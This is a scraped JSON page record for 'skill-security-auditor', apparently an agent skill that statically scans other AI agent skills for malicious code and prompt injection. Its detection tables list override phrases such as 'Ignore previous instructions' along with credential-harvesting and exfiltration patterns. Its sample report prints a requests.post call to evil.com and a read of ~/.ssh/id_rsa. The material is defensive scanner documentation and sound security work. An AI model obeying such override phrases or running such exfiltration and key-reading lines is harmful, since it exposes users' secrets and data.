[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73AYCS8MA8HB2KJJTCHFNMJ":3,"skill-same:01M73AYCS8MA8HB2KJJTCHFNMJ":58},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":14,"repositoryHtmlUrl":27,"repositoryHomepageUrl":6,"ownerHtmlUrl":28,"ownerBlogUrl":29,"ownerDescription":30,"updatedAt":31,"install":32,"resources":45},"01M73AYCS8MA8HB2KJJTCHFNMJ","skill-security-auditor",null,"Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: \"audit this skill\", \"is this skill safe\", \"scan skill for security\", \"check skill before install\", \"skill security check\", \"skill vulnerability scan\".","kalash33\u002Fkstack","kalash33","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F90259149?v=4","01M7365X8Q0B73NYHA730SMZWN","Kalash Poddar","01M7365X9D0JK47C3Q0YCCK9Z2",0,"MIT","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fnginity-skill-security-auditor\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: \"skill-security-auditor\"\ndescription: >\n  Security audit and vulnerability scanner for AI agent skills before installation.\n  Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill\n  directory or git repo URL for malicious code, (3) pre-install security gate for\n  Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts\n  for dangerous patterns like os.system, eval, subprocess, network exfiltration,\n  (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply\n  chain risks, (7) verifying file system access stays within skill boundaries.\n  Triggers: \"audit this skill\", \"is this skill safe\", \"scan skill for security\",\n  \"check skill before install\", \"skill security check\", \"skill vulnerability scan\".\n---\n\n# Skill Security Auditor\n\nScan and audit AI agent skills for security risks before installation. Produces a\nclear **PASS \u002F WARN \u002F FAIL** verdict with findings and remediation guidance.\n\n## Quick Start\n\n```bash\n# Audit a local skill directory\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F\n\n# Audit a skill from a git repo\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Frepo --skill skill-name\n\n# Audit with strict mode (any WARN becomes FAIL)\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --strict\n\n# Output JSON report\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --json\n```\n\n## What Gets Scanned\n\n### 1. Code Execution Risks (Python\u002FBash Scripts)\n\nScans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:\n\n| Category | Patterns Detected | Severity |\n|----------|-------------------|----------|\n| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |\n| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |\n| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |\n| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |\n| **Credential harvesting** | reads from `~\u002F.ssh`, `~\u002F.aws`, `~\u002F.config`, env var extraction patterns | 🔴 CRITICAL |\n| **File system abuse** | writes outside skill dir, `\u002Fetc\u002F`, `~\u002F.bashrc`, `~\u002F.profile`, symlink creation | 🟡 HIGH |\n| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |\n| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |\n| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |\n\n### 2. Prompt Injection in SKILL.md\n\nScans SKILL.md and all `.md` reference files for:\n\n| Pattern | Example | Severity |\n|---------|---------|----------|\n| **System prompt override** | \"Ignore previous instructions\", \"You are now...\" | 🔴 CRITICAL |\n| **Role hijacking** | \"Act as root\", \"Pretend you have no restrictions\" | 🔴 CRITICAL |\n| **Safety bypass** | \"Skip safety checks\", \"Disable content filtering\" | 🔴 CRITICAL |\n| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |\n| **Excessive permissions** | \"Run any command\", \"Full filesystem access\" | 🟡 HIGH |\n| **Data extraction** | \"Send contents of\", \"Upload file to\", \"POST to\" | 🔴 CRITICAL |\n\n### 3. Dependency Supply Chain\n\nFor skills with `requirements.txt`, `package.json`, or inline `pip install`:\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Known vulnerabilities** | Cross-reference with PyPI\u002Fnpm advisory databases | 🔴 CRITICAL |\n| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |\n| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |\n| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |\n| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |\n\n### 4. File System & Structure\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |\n| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |\n| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |\n| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |\n| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |\n\n## Audit Workflow\n\n1. **Run the scanner** on the skill directory or repo URL\n2. **Review the report** — findings grouped by severity\n3. **Verdict interpretation:**\n   - **✅ PASS** — No critical or high findings. Safe to install.\n   - **⚠️ WARN** — High\u002Fmedium findings detected. Review manually before installing.\n   - **❌ FAIL** — Critical findings. Do NOT install without remediation.\n4. **Remediation** — each finding includes specific fix guidance\n\n## Reading the Report\n\n```\n╔══════════════════════════════════════════════╗\n║  SKILL SECURITY AUDIT REPORT                ║\n║  Skill: example-skill                        ║\n║  Verdict: ❌ FAIL                            ║\n╠══════════════════════════════════════════════╣\n║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║\n╚══════════════════════════════════════════════╝\n\n🔴 CRITICAL [CODE-EXEC] scripts\u002Fhelper.py:42\n   Pattern: eval(user_input)\n   Risk: Arbitrary code execution from untrusted input\n   Fix: Replace eval() with ast.literal_eval() or explicit parsing\n\n🔴 CRITICAL [NET-EXFIL] scripts\u002Fanalyzer.py:88\n   Pattern: requests.post(\"https:\u002F\u002Fevil.com\u002Fcollect\", data=results)\n   Risk: Data exfiltration to external server\n   Fix: Remove outbound network calls or verify destination is trusted\n\n🟡 HIGH [FS-BOUNDARY] scripts\u002Fscanner.py:15\n   Pattern: open(os.path.expanduser(\"~\u002F.ssh\u002Fid_rsa\"))\n   Risk: Reads SSH private key outside skill scope\n   Fix: Remove filesystem access outside skill directory\n\n⚪ INFO [DEPS-UNPIN] requirements.txt:3\n   Pattern: requests>=2.0\n   Risk: Unpinned dependency may introduce vulnerabilities\n   Fix: Pin to specific version: requests==2.31.0\n```\n\n## Advanced Usage\n\n### Audit a Skill from Git Before Cloning\n\n```bash\n# Clone to temp dir, audit, then clean up\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Fskill-repo --skill my-skill --cleanup\n```\n\n### CI\u002FCD Integration\n\n```yaml\n# GitHub Actions step\n- name: \"audit-skill-security\"\n  run: |\n    python3 skill-security-auditor\u002Fscripts\u002Fskill_security_auditor.py .\u002Fskills\u002Fnew-skill\u002F --strict --json > audit.json\n    if [ $? -ne 0 ]; then echo \"Security audit failed\"; exit 1; fi\n```\n\n### Batch Audit\n\n```bash\n# Audit all skills in a directory\nfor skill in skills\u002F*\u002F; do\n  python3 scripts\u002Fskill_security_auditor.py \"$skill\" --json >> audit-results.jsonl\ndone\n```\n\n## Threat Model Reference\n\nFor the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references\u002Fthreat-model.md](references\u002Fthreat-model.md).\n\n## Limitations\n\n- Cannot detect logic bombs or time-delayed payloads with certainty\n- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it\n- Network destination reputation checks require internet access\n- Does not execute code — static analysis only (safe but less complete than dynamic analysis)\n- Dependency vulnerability checks use local pattern matching, not live CVE databases\n\nWhen in doubt after an audit, **don't install**. Ask the skill author for clarification.\n","# Skill Security Auditor\n\nScan and audit AI agent skills for security risks before installation. Produces a\nclear **PASS \u002F WARN \u002F FAIL** verdict with findings and remediation guidance.\n\n## Quick Start\n\n```bash\n# Audit a local skill directory\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F\n\n# Audit a skill from a git repo\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Frepo --skill skill-name\n\n# Audit with strict mode (any WARN becomes FAIL)\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --strict\n\n# Output JSON report\npython3 scripts\u002Fskill_security_auditor.py \u002Fpath\u002Fto\u002Fskill-name\u002F --json\n```\n\n## What Gets Scanned\n\n### 1. Code Execution Risks (Python\u002FBash Scripts)\n\nScans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:\n\n| Category | Patterns Detected | Severity |\n|----------|-------------------|----------|\n| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |\n| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |\n| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |\n| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |\n| **Credential harvesting** | reads from `~\u002F.ssh`, `~\u002F.aws`, `~\u002F.config`, env var extraction patterns | 🔴 CRITICAL |\n| **File system abuse** | writes outside skill dir, `\u002Fetc\u002F`, `~\u002F.bashrc`, `~\u002F.profile`, symlink creation | 🟡 HIGH |\n| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |\n| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |\n| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |\n\n### 2. Prompt Injection in SKILL.md\n\nScans SKILL.md and all `.md` reference files for:\n\n| Pattern | Example | Severity |\n|---------|---------|----------|\n| **System prompt override** | \"Ignore previous instructions\", \"You are now...\" | 🔴 CRITICAL |\n| **Role hijacking** | \"Act as root\", \"Pretend you have no restrictions\" | 🔴 CRITICAL |\n| **Safety bypass** | \"Skip safety checks\", \"Disable content filtering\" | 🔴 CRITICAL |\n| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |\n| **Excessive permissions** | \"Run any command\", \"Full filesystem access\" | 🟡 HIGH |\n| **Data extraction** | \"Send contents of\", \"Upload file to\", \"POST to\" | 🔴 CRITICAL |\n\n### 3. Dependency Supply Chain\n\nFor skills with `requirements.txt`, `package.json`, or inline `pip install`:\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Known vulnerabilities** | Cross-reference with PyPI\u002Fnpm advisory databases | 🔴 CRITICAL |\n| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |\n| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |\n| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |\n| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |\n\n### 4. File System & Structure\n\n| Check | What It Does | Severity |\n|-------|-------------|----------|\n| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |\n| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |\n| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |\n| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |\n| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |\n\n## Audit Workflow\n\n1. **Run the scanner** on the skill directory or repo URL\n2. **Review the report** — findings grouped by severity\n3. **Verdict interpretation:**\n   - **✅ PASS** — No critical or high findings. Safe to install.\n   - **⚠️ WARN** — High\u002Fmedium findings detected. Review manually before installing.\n   - **❌ FAIL** — Critical findings. Do NOT install without remediation.\n4. **Remediation** — each finding includes specific fix guidance\n\n## Reading the Report\n\n```\n╔══════════════════════════════════════════════╗\n║  SKILL SECURITY AUDIT REPORT                ║\n║  Skill: example-skill                        ║\n║  Verdict: ❌ FAIL                            ║\n╠══════════════════════════════════════════════╣\n║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║\n╚══════════════════════════════════════════════╝\n\n🔴 CRITICAL [CODE-EXEC] scripts\u002Fhelper.py:42\n   Pattern: eval(user_input)\n   Risk: Arbitrary code execution from untrusted input\n   Fix: Replace eval() with ast.literal_eval() or explicit parsing\n\n🔴 CRITICAL [NET-EXFIL] scripts\u002Fanalyzer.py:88\n   Pattern: requests.post(\"https:\u002F\u002Fevil.com\u002Fcollect\", data=results)\n   Risk: Data exfiltration to external server\n   Fix: Remove outbound network calls or verify destination is trusted\n\n🟡 HIGH [FS-BOUNDARY] scripts\u002Fscanner.py:15\n   Pattern: open(os.path.expanduser(\"~\u002F.ssh\u002Fid_rsa\"))\n   Risk: Reads SSH private key outside skill scope\n   Fix: Remove filesystem access outside skill directory\n\n⚪ INFO [DEPS-UNPIN] requirements.txt:3\n   Pattern: requests>=2.0\n   Risk: Unpinned dependency may introduce vulnerabilities\n   Fix: Pin to specific version: requests==2.31.0\n```\n\n## Advanced Usage\n\n### Audit a Skill from Git Before Cloning\n\n```bash\n# Clone to temp dir, audit, then clean up\npython3 scripts\u002Fskill_security_auditor.py https:\u002F\u002Fgithub.com\u002Fuser\u002Fskill-repo --skill my-skill --cleanup\n```\n\n### CI\u002FCD Integration\n\n```yaml\n# GitHub Actions step\n- name: \"audit-skill-security\"\n  run: |\n    python3 skill-security-auditor\u002Fscripts\u002Fskill_security_auditor.py .\u002Fskills\u002Fnew-skill\u002F --strict --json > audit.json\n    if [ $? -ne 0 ]; then echo \"Security audit failed\"; exit 1; fi\n```\n\n### Batch Audit\n\n```bash\n# Audit all skills in a directory\nfor skill in skills\u002F*\u002F; do\n  python3 scripts\u002Fskill_security_auditor.py \"$skill\" --json >> audit-results.jsonl\ndone\n```\n\n## Threat Model Reference\n\nFor the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references\u002Fthreat-model.md](references\u002Fthreat-model.md).\n\n## Limitations\n\n- Cannot detect logic bombs or time-delayed payloads with certainty\n- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it\n- Network destination reputation checks require internet access\n- Does not execute code — static analysis only (safe but less complete than dynamic analysis)\n- Dependency vulnerability checks use local pattern matching, not live CVE databases\n\nWhen in doubt after an audit, **don't install**. Ask the skill author for clarification.\n",{"name":5,"description":7},"main","b30820b3248f6676d5389f0ccabd4e5250c9c536","skills\u002Fnginity-skill-security-auditor","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack","https:\u002F\u002Fgithub.com\u002Fkalash33","kalashpoddar.me","Tech-savvy Full Stack Developer 🚀 | Cybersecurity enthusiast 🔒 | Passionate about innovation and securing the digital world 🌐 | Let's code securely! 💻🔐","2026-05-20 04:11:22",{"source":8,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add kalash33\u002Fkstack --skill skill-security-auditor",{"tool":38,"command":39},"bunx","bunx skills add kalash33\u002Fkstack --skill skill-security-auditor",{"tool":41,"command":42},"pnpm","pnpm dlx skills add kalash33\u002Fkstack --skill skill-security-auditor","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fnginity-skill-security-auditor\u002FSKILL.md",true,[46,52],{"path":47,"resourceType":48,"resourceTypeDesc":49,"sizeBytes":50,"sourceHtmlUrl":51},"references\u002Fthreat-model.md","REFERENCE","参考文档",10102,"https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fnginity-skill-security-auditor\u002Freferences\u002Fthreat-model.md",{"path":53,"resourceType":54,"resourceTypeDesc":55,"sizeBytes":56,"sourceHtmlUrl":57},"scripts\u002Fskill_security_auditor.py","SCRIPT","脚本",38605,"https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fnginity-skill-security-auditor\u002Fscripts\u002Fskill_security_auditor.py",[59,66,73,80,87,94],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M73CFERCR43JCAP606E41EFB","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reacti...","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M73CFCMFVTAQEMTZ5HR10X8V","zoom-automation","Automate Zoom meeting creation, management, recordings, webinars, and participant tracking via Rube MCP (Composio). Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-automation\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M73CFAA7EBWXJVXDQ1X555MB","zoho-crm-automation","Automate Zoho CRM tasks via Rube MCP (Composio): create\u002Fupdate records, search contacts, manage leads, and convert leads. Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fzoho-crm-automation\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M73CF80XCM9K81567MJ8QZFW","zod-validation-expert","Expert in Zod — TypeScript-first schema validation. Covers parsing, custom errors, refinements, type inference, and integration with React Hook Form, Next.js, and tRPC.","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fzod-validation-expert\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M73CF4YPMF3RA8ZJDXZSMD93","zeroize-audit","Detects missing zeroization of sensitive data in source code and identifies zeroization removed by compiler optimizations, with assembly-level analysis, and control-flow verification. Use for auditing C\u002FC++\u002FRust code handling secrets, keys, passwords, or other sensitive data.","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fzeroize-audit\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":19},"01M73CF2S25EN3XNAMKY47XHPS","zendesk-automation","Automate Zendesk tasks via Rube MCP (Composio): tickets, users, organizations, replies. Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fkalash33\u002Fkstack\u002Fblob\u002Fmain\u002Fskills\u002Fzendesk-automation\u002FSKILL.md",[],[]]